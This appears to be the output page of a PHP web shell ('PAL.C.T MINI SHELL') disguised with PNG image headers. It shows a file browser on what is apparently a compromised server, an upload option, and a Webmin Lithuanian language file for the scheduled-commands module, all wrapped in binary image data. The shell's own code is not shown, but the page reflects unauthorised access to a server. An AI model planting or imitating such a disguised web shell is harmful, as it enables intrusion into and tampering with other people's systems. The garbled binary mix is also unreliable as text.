php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/at/lang/
upload
files >> //usr/libexec/webmin/at/lang/lt.auto

index_title=Suplanuotos komandos
index_header=Nauja suplanuota komanda
index_user=Vykdyti kaip vartotoją
index_date=Bėk į pasimatymą
index_time=Paleisti laiku
index_cmd=Įsakymai vykdyti
index_mail=Siųsti el. Laišką baigus?
index_id=Darbovietės ID
index_exec=Bėgti
index_created=Sukurtas
index_dir=Vykdyti kataloge
index_return=komandų sąrašas
index_cdate=Dabartinė data
index_ctime=Dabartinis laikas
index_allow=Leidžiami suplanuotų komandų vartotojai
index_amode=Vartotojai gali leisti
index_amode0=Visi „Unix“ vartotojai
index_amode1=Tik išvardyti vartotojai ..
index_amode2=Visi, išskyrus išvardytus vartotojus ..
index_delete=Atšaukti pasirinktas komandas
index_noat=Komanda $1 nerasta jūsų sistemoje - galbūt ji neįdiegta arba jos negalima jūsų operacinei sistemai.
index_nostyle=„Webmin“ nežino, kaip valdyti tvarkaraščio komandas šioje operacinėje sistemoje.
index_stop=Sustabdyti planuojamų komandų serverį
index_stopdesc=Išjunkite <tt>atd</tt> foninio serverio procesą, vykdantį suplanuotas komandas. Tai neleis komandoms vykdyti nurodytu laiku.
index_start=Paleiskite suplanuotų komandų serverį
index_startdesc=Paleiskite foninio serverio procesą <tt>atd</tt>, vykdantį suplanuotas komandas. Tai reikalinga komandoms vykdyti nurodytu laiku.
index_boot=Paleisti serverį įkrovos metu?
index_bootdesc=Pakeiskite šį parametrą, jei norite įjungti arba išjungti suplanuotų komandų serverio paleidimą sistemos paleidimo metu.

edit_title=Suplanuota komanda
edit_cmd=Visas scenarijus vykdyti
edit_shortcmd=Įsakymas vykdyti
edit_header=Suplanuota komandos informacija
edit_delete=Atšaukite šią komandą
edit_run=Vykdyk dabar
edit_ejob=Suplanuota komanda nebeegzistuoja!
edit_ecannot=Jums neleidžiama redaguoti šios suplanuotos komandos
edit_showfull=Rodyti visą scenarijų.

create_err=Nepavyko sukurti tvarkaraščio komandos
create_euser=Trūksta arba netinkamas vartotojo vardas
create_edate=Trūksta arba netinkama data ar laikas
create_ecmd=Neįvestos komandos
create_efuture=Data ir laikas yra praeityje
create_edir=Trūksta arba netinkamas katalogas
create_ecannot=Jums neleidžiama kurti suplanuotų komandų šiam vartotojui
create_eallow=Nurodytam vartotojui neleidžiama vykdyti suplanuotų komandų

delete_err=Nepavyko atšaukti komandos
delete_egone=Komanda jau paleista arba ištrinta

acl_users=Gali redaguoti suplanuotas komandas
acl_all=Visi vartotojai
acl_this=Dabartinis „Webmin“ vartotojas
acl_only=Tik vartotojai
acl_except=Visi, išskyrus vartotojus
acl_allow=Ar galima redaguoti vartotojams?
acl_stop=Ar galite sustoti ir pradėti <tt>atd</tt>?

run_title=Bėgimo komanda
run_output=Išėjimas iš suplanuotos komandos ..
run_none=Negaunama išvestis

allow_err=Nepavyko išsaugoti leistinų vartotojų
allow_ecannot=Jums neleidžiama valdyti leidžiamų vartotojų
allow_eusers=Neįvestas joks vartotojas

deletes_err=Nepavyko atšaukti komandų
deletes_enone=Nepasirinkta

log_allow=Pakeisti leidžiami vartotojai
log_create_job=Sukurta suplanuota komanda $1 
log_delete_job=Atšaukta suplanuota komanda $1 
log_exec_job=Vykdyta suplanuota komanda $1 
log_delete_jobs=Atšauktos $1 suplanuotos komandos
log_stop=Sustabdytas suplanuotų komandų serveris
log_start=Paleistas suplanuotų komandų serveris
log_bootup=Įjungus suplanuotų komandų serverį įgalintas
log_bootdown=Įkrovimo metu išjungtas suplanuotų komandų serveris

stop_err=Nepavyko sustabdyti serverio
start_err=Nepavyko paleisti serverio
stop_ecannot=Jums neleidžiama sustabdyti serverio
start_ecannot=Jums neleidžiama paleisti serverio
bootup_ecannot=Jums neleidžiama įjungti serverio paleidžiant
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`